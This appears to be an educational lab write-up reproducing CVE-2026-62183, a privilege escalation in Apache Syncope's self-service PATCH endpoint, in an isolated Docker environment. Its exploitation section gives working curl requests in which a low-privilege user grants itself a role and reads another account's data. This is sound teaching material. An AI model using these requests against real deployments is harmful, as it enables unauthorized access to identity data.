Labs

CVE-2026-62183: Apache Syncope Privilege Escalation

Docker lab Privilege Escalation

Updated July 24, 2026 · Written by PWNMI — see About.

Most beginner labs use retired CTF boxes — deliberately built, often years old. This one is different: it's a real, disclosed vulnerability in real software, reproduced in an isolated environment you run yourself. Apache Syncope is an open-source identity management platform used to manage users, roles, and access across other systems. CVE-2026-62183 is an authorization bug in its self-service API: an endpoint meant to let users update their own profile skips its authorization check entirely for "self" operations, while still applying every field in the request — including which roles the user holds.

This lab uses a public proof-of-concept and a real vulnerable version of Syncope, running fully isolated with no ports exposed beyond the Docker host itself. Affects Syncope 3.0.0–3.0.16, 4.0.0–4.0.6, and 4.1.0–4.1.1; fixed in 4.0.7 / 4.1.2. Original research and PoC: NicPWNs/CVE-2026-62183.

What you'll practice: reading past a CVE description to the actual vulnerable code path, working directly against a REST API with curl instead of a GUI, and recognizing a bug class — "a privileged action skips authorization because the code assumes self == safe" — that shows up well beyond this one product.

Set up the lab

New to Docker or git, or unsure what the commands below are actually doing? See Docker for Security Labs and Git for Security Work first.

Get the lab files from pwnmihq/resources:

git clone --filter=blob:none --sparse https://github.com/pwnmihq/resources
cd resources
git sparse-checkout set cve-labs/CVE-2026-62183
cd cve-labs/CVE-2026-62183
docker compose up -d

This starts Postgres and Syncope Core (the exact vulnerable version, apache/syncope:3.0.16). No ports are published on purpose — reach the container on its own address instead:

IP=$(docker inspect $(docker compose ps -q syncope) --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}')
B="http://$IP:8080/syncope/rest"

Give it a minute to finish booting, then confirm it's up:

curl -s -o /dev/null -w '%{http_code}\n' "$B/users/self"

A 401 means it's ready — Syncope's REST layer is responding, you're just not authenticated yet. Every request from here needs -H "X-Syncope-Domain: Master", and the default admin login is admin / password.

Understanding the vulnerability

The bug lives in UserSelfLogic.update, which handles requests to PATCH /users/self/{key} — the endpoint a normal user hits to edit their own profile. It checks isAuthenticated() and nothing else. The code path it delegates to, AbstractUserLogic.doUpdate, normally runs an authorization check before applying privileged fields like roles, memberships, and resources — but that check is skipped entirely whenever the request is a "self" operation, on the assumption that a user editing their own record can't do anything dangerous.

That assumption is wrong, because the data binder doesn't know the difference. It applies whatever fields are in the request body, privileged or not. Nothing stops the request from including a roles change alongside the profile edit — and since the authorization check never runs, that role change goes through.

Exploitation

First, set up a role to escalate into and two ordinary accounts — one to act as the attacker, one as an unrelated victim account it has no business reading:

curl -s -u admin:password -H "X-Syncope-Domain: Master" -H "Content-Type: application/json" \
  -X POST "$B/roles" \
  -d '{"key":"escalation-role","entitlements":["USER_READ","USER_SEARCH"],"realms":["/"]}'

curl -s -u admin:password -H "X-Syncope-Domain: Master" -H "Content-Type: application/json" \
  -X POST "$B/users" \
  -d '{"_class":"org.apache.syncope.common.lib.request.UserCR","realm":"/","username":"attacker","password":"Password123!","mustChangePassword":false,"plainAttrs":[{"schema":"fullname","values":["A"]},{"schema":"surname","values":["T"]},{"schema":"userId","values":["a@syncope.test"]}]}'

curl -s -u admin:password -H "X-Syncope-Domain: Master" -H "Content-Type: application/json" \
  -X POST "$B/users" \
  -d '{"_class":"org.apache.syncope.common.lib.request.UserCR","realm":"/","username":"victim","password":"Password123!","mustChangePassword":false,"plainAttrs":[{"schema":"fullname","values":["V"]},{"schema":"surname","values":["I"]},{"schema":"userId","values":["v@syncope.test"]}]}'

Note the key each response returns for attacker and victim — you'll need both. Now confirm the baseline: attacker has no roles yet, so reading another account should fail.

curl -s -o /dev/null -w '%{http_code}\n' -u attacker:Password123! -H "X-Syncope-Domain: Master" \
  "$B/users/<victim-key>"

That returns 403. Now the actual bug — attacker grants itself the role it just created, through the endpoint that's supposed to only touch its own profile:

curl -s -u attacker:Password123! -H "X-Syncope-Domain: Master" -H "Content-Type: application/json" \
  -X PATCH "$B/users/self/<attacker-key>" \
  -d '{"_class":"org.apache.syncope.common.lib.request.UserUR","key":"<attacker-key>","roles":[{"operation":"ADD_REPLACE","value":"escalation-role"}]}'

That returns 200, and the response body shows "roles":["escalation-role"] — no admin action involved. Read victim again with the same low-privilege account:

curl -s -u attacker:Password123! -H "X-Syncope-Domain: Master" "$B/users/<victim-key>"

200, full profile data for an account attacker was never granted access to. That's the complete chain: an ordinary authenticated user reached data it had no legitimate access to, entirely through an endpoint meant for editing its own profile.

Cleanup

In this lab, tearing down the container destroys everything. On a real target you don't get that shortcut — this exploit created two real accounts and a role that didn't exist before, and leaving them behind is both a liability and evidence of exactly what you did. Revert it deliberately, as an admin:

curl -s -u admin:password -H "X-Syncope-Domain: Master" -X DELETE "$B/users/<attacker-key>"
curl -s -u admin:password -H "X-Syncope-Domain: Master" -X DELETE "$B/users/<victim-key>"
curl -s -u admin:password -H "X-Syncope-Domain: Master" -X DELETE "$B/roles/escalation-role"

If attacker and victim were pre-existing accounts on a real target rather than ones you created for this test, don't delete them — just remove the escalation-role grant from attacker (a PATCH with "operation":"DELETE" on the same roles field used to add it) and leave the accounts otherwise untouched.

Tear the lab down when you're done:

docker compose down -v

Lessons worth keeping

  • "Self" isn't automatically "safe." The vulnerability exists because the code assumed a self-service action couldn't be dangerous, and skipped the check that would have caught it. Anywhere you see an authorization shortcut for "the user's own resource," ask what other privileged fields ride along with that request.
  • A data binder that doesn't distinguish field sensitivity is a real risk. The bug isn't that role assignment is reachable — it's that the same update path handles both a harmless field like a display name and a dangerous one like role membership, with no field-level check in between.
  • Reproducing a CVE teaches more than reading its advisory. The description says "improper authorization" — actually walking the request chain shows exactly which check is missing and why, which is the difference between memorizing a CVE number and recognizing the pattern next time it shows up somewhere else.

Next step

This bug class — a privileged action reachable through a path that assumes it's harmless — is worth watching for generally. For the reverse-shell and privesc side of things instead, see the script privesc checklist or start from the Roadmap if you're newer to this. For more real CVEs reproduced the same way, see CVE-2026-53595 (FreeScout), CVE-2026-11349 (WordPress plugin SQLi), and CVE-2025-24813 (Apache Tomcat).